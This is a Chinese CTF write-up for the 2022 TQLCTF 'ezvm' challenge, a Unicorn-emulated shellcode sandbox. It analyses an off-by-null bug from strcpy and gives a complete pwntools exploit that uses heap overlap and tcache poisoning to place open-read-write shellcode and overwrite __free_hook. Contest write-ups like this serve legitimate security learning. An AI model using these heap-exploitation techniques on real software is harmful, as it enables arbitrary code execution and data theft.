2022 TQLCTF ezvm

这道题使用了unicorn引擎来对输入的shellcode进行模拟,我们可以直接通过unicorn的文档来查看程序中涉及到的函数的作用和调用方式。

程序分析

首先来对程序的整体功能进行一个简要的分析:
2022 TQLCTF ezvm_第1张图片其中一些函数的名字经过了修改,其中INIT函数作用是开沙箱
然后读入32位shellcode
接下来是一系列的unicorn引擎中的函数,我们根据unicorn的用户手册简要介绍一下:
uc_open:创建新的Unicorn实例,这里只需要知道是32位x86架构即可
uc_mem_map:从名字和参数也能看出来,开辟空间,当做正常map即可
uc_mem_write:将一段字节码写入指定内存地址
uc_mem_read:从内存中读取字节
uc_reg_read:读取寄存器的值,rsi为寄存器id,rdx为指向保存寄存器值的指针
uc_reg_write:将值写入寄存器,rsi为寄存器id,rdx指向寄存器将被修改成的值的指针
uc_hook_add:注册hook事件的回调,当hook事件被触发将会进行回调

现在再来理解这段代码,其实就是开个沙盒,映射两个内存空间,然后读入一段shellcode,注册一个hook函数,最后执行这段shellcode

我们来看看这段hook函数:
2022 TQLCTF ezvm_第2张图片我们可以看到,这段hook函数实现了一个菜单,有四个函数,名字已经改好了。
当我们调用syscall指令的时候,会根据rax来执行不同的函数
然后我们重点关注一下open函数
2022 TQLCTF ezvm_第3张图片
uc_reg_read和uc_reg_write的参数识别不出来,可以直接观察汇编代码,这里我们其实可以选择不去过多关注它,其作用我们直接理解成是在识别shellcode并为寄存器赋值,然后关注类似uc_mem_read以及uc_mem_write这类函数的参数即可,这里我在注释中写了uc_mem_read的参数都是什么。

可以看出来,有两个reg_read,意味着open函数在执行的时候我们要设置rdi和rsi两个寄存器的值,通过观察汇编代码可以知道rdi是filename所在地址,rsi是size

我们进入mem_read后的那个函数中接着看
2022 TQLCTF ezvm_第4张图片
这个函数创建了一个大小为0x48的结构体,作为自定义的一个简单的FILE结构,其中包含什么东西呢:
2022 TQLCTF ezvm_第5张图片这样的一个结构体创建出来之后,程序的功能就非常清晰了,open函数,其实就是指定一个name和一个size,然后创建一个结构体,将name用strcpy函数复制到结构体中的name字段,按顺序分配一个fd,对size以及三个自定义的函数指针赋值。

在创建之前还会比较,如果指定的name已经出现过则直接返回。默认已经有了三个文件,即stdin,stdout和stderr,这三个文件的函数指针是libc中的实际的read,write和close,而剩下的通过open函数创建的file,三个函数的函数指针指向的都是自定义的函数。

而除了open函数之外的三个函数,作用也很简单,就是通过这三个函数指针调用对应的函数,所以这里不展开分析。

这三个自定义的函数其功能也很简单,在实现的时候其实也都是依据真实的read,write来设计的,而close的参数也没变,仍是fd指针,只不过功能变成了释放fd对应file中的chunk。

所以最后我们可以发现,实际上就是给了我们执行shellcode的权限,但是开了沙箱,同时open函数不是真的open服务器上的文件,而是创建一个指定大小的chunk,否则直接orw就结束了hhhh

大致分析清楚了之后我们开始做这道题

准备工作

首先做一些准备工作,由于我们会大量的使用到那四个函数,并且需要写汇编代码,所以提前将他们封装起来以便后续使用

def sysopen(nameaddr, size):
    return '''
    mov rax, 2
    mov rdi, {name}
    mov rsi, {size}
    syscall
    '''.format(name=hex(nameaddr), size=hex(size))

def sysclose(fd):
    return '''
    mov rax, 3
    mov rdi, {fd}
    syscall
    '''.format(fd=fd)

def sysread(fd, addr, size):
    return '''
    mov rax, 0
    mov rdi, {fd}
    mov rsi, {addr}
    mov rdx, {size}
    syscall
    '''.format(fd=fd, addr=hex(addr), size=hex(size))

def syswrite(fd, addr, size):
    return '''
    mov rax, 1
    mov rdi, {fd}
    mov rsi, {addr}
    mov rdx, {size}
    syscall
    '''.format(fd=fd, addr=hex(addr), size=hex(size))

漏洞分析

那么这道题的漏洞出在哪里呢,虽然我们可以执行四个syscall,但是由于open函数不真实,导致无法拿到flag,所以要寻找程序新的漏洞点。
2022 TQLCTF ezvm_第6张图片
关注一下这里,可以看到程序使用了strcpy将指定地址的name赋值到file结构体中,虽然说a1限定了最多24字节,但是由于strcpy在赋值的时候会自动在结尾补一个\x00,所以其实当name恰好等于24字节的时候,会造成一个off-by-null,我们来看看name下面存的是什么,如果造成了off-by-null会有什么后果:
2022 TQLCTF ezvm_第7张图片
可以看到是堆地址,这就意味着我们可以通过修改堆地址来进行后续一系列操作了,让我们大致的梳理一下思路,首先通过修改堆地址造成堆块重叠,然后修改fd为rwx段上的地址,申请过来,写入orw的shellcode,然后同样的手法将free_hook申请过来,写上shellcode的地址,就结束了。

这里有几个难点,一个是合适的堆块不是很好找,要自己慢慢调,第二个就是不能先打free_hook,因为修改完free_hook之后会立刻free,所以必须先布置好shellcode。

最后提一嘴,学长用的tcg打的,exp比我的简洁很多,属实牛逼。

附上exp:

from re import L
from pwn import *
from ctypes import *
from string import *
from hashlib import *
from itertools import product
context.log_level = 'debug'
context.arch='amd64'
io = process('./pwn',aslr=True)
#io = remote('119.23.255.127',40407)
libc = ELF('./libc-2.31.so')
elf=ELF("./pwn")
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
def sysopen(nameaddr, size):
    return '''
    mov rax, 2
    mov rdi, {name}
    mov rsi, {size}
    syscall
    '''.format(name=hex(nameaddr), size=hex(size))

def sysclose(fd):
    return '''
    mov rax, 3
    mov rdi, {fd}
    syscall
    '''.format(fd=fd)

def sysread(fd, addr, size):
    return '''
    mov rax, 0
    mov rdi, {fd}
    mov rsi, {addr}
    mov rdx, {size}
    syscall
    '''.format(fd=fd, addr=hex(addr), size=hex(size))

def syswrite(fd, addr, size):
    return '''
    mov rax, 1
    mov rdi, {fd}
    mov rsi, {addr}
    mov rdx, {size}
    syscall
    '''.format(fd=fd, addr=hex(addr), size=hex(size))
    
ru(b'Send your code:\n')
code=sysopen(0x400500,0x80)#3
code+=sysread(3,0x402000,0x100)
code+=syswrite(1,0x402000,0x100)
code+=sysread(0,0x403000,0x28)
code+=sysopen(0x400520,0x90)#4
code+=sysopen(0x400540,0x90)#5
code+=sysopen(0x400560,0x90)#6
code+=sysopen(0x400580,0x90)#7
code+=sysopen(0x4005a0,0x90)#8
code+=sysopen(0x4005c0,0x90)#9
code+=sysopen(0x4005e0,0x90)#10
code+=sysopen(0x400610,0x90)#11
code+=sysopen(0x400630,0x90)#12
code+=sysclose(12)
code+=sysclose(6)
code+=sysclose(7)
code+=sysopen(0x400650,0x90)#6
code+=syswrite(6,0x403000,0x28)
code+=sysopen(0x400560,0x90)#7
code+=sysopen(0x400580,0x90)#12
code+=sysread(0,0x404000,0x90)
code+=syswrite(12,0x404000,0x90)
code+=sysread(0,0x405000,0x28)
code+=sysclose(4)
code+=sysclose(5)
code+=sysclose(7)
code+=sysopen(0x400520,0x80)#4
code+=sysopen(0x400540,0x80)#5
code+=sysopen(0x400560,0x80)#7
code+=sysclose(7)
code+=sysclose(4)
code+=sysclose(5)
code+=sysopen(0x400670,0x80)#4
code+=syswrite(4,0x405000,0x28)
code+=sysopen(0x400540,0x80)#5
code+=sysopen(0x400560,0x80)#7
code+=sysread(0,0x406000,0x8)
code+=syswrite(7,0x406000,0x8)
payload=asm(code)
payload=payload.ljust(0x500,'\x00')
payload+='a'*23+'\x00'
payload=payload.ljust(0x520,'\x00')
payload+='b'*23+'\x00'
payload=payload.ljust(0x540,'\x00')
payload+='c'*23+'\x00'
payload=payload.ljust(0x560,'\x00')
payload+='d'*23+'\x00'
payload=payload.ljust(0x580,'\x00')
payload+='e'*23+'\x00'
payload=payload.ljust(0x5a0,'\x00')
payload+='f'*23+'\x00'
payload=payload.ljust(0x5c0,'\x00')
payload+='g'*23+'\x00'
payload=payload.ljust(0x5e0,'\x00')
payload+='h'*23+'\x00'
payload=payload.ljust(0x610,'\x00')
payload+='i'*23+'\x00'
payload=payload.ljust(0x630,'\x00')
payload+='j'*23+'\x00'
payload=payload.ljust(0x650,'\x00')
payload+='k'*24+'\x00'
payload=payload.ljust(0x670,'\x00')
payload+='l'*24+'\x00'
sl(payload)
ru("Emulate i386 code\n")
libcbase=u64(io.recv(6).ljust(8,'\x00'))-0x1ec1f0
free_hook=libcbase+libc.sym['__free_hook']
rwx = libcbase - 0xa2f000
lg("libcbase")
lg("rwx")
sn(p64(0)*3+p64(0xa1)+p64(rwx+0x600))
sleep(1)


orw = shellcraft.open("flag")
orw+= shellcraft.read(3, rwx + 0x100, 0x40)
orw+= shellcraft.write(1, rwx + 0x100, 0x40)
orw=asm(orw)
sn(orw.ljust(0x90,'\x90'))

sn(p64(0)*3+p64(0x91)+p64(free_hook))
sn(p64(rwx+0x600))
#gdb.attach(io)
irt()

拿到flag的截图:
2022 TQLCTF ezvm_第8张图片

你可能感兴趣的:(PWN,安全,pwn)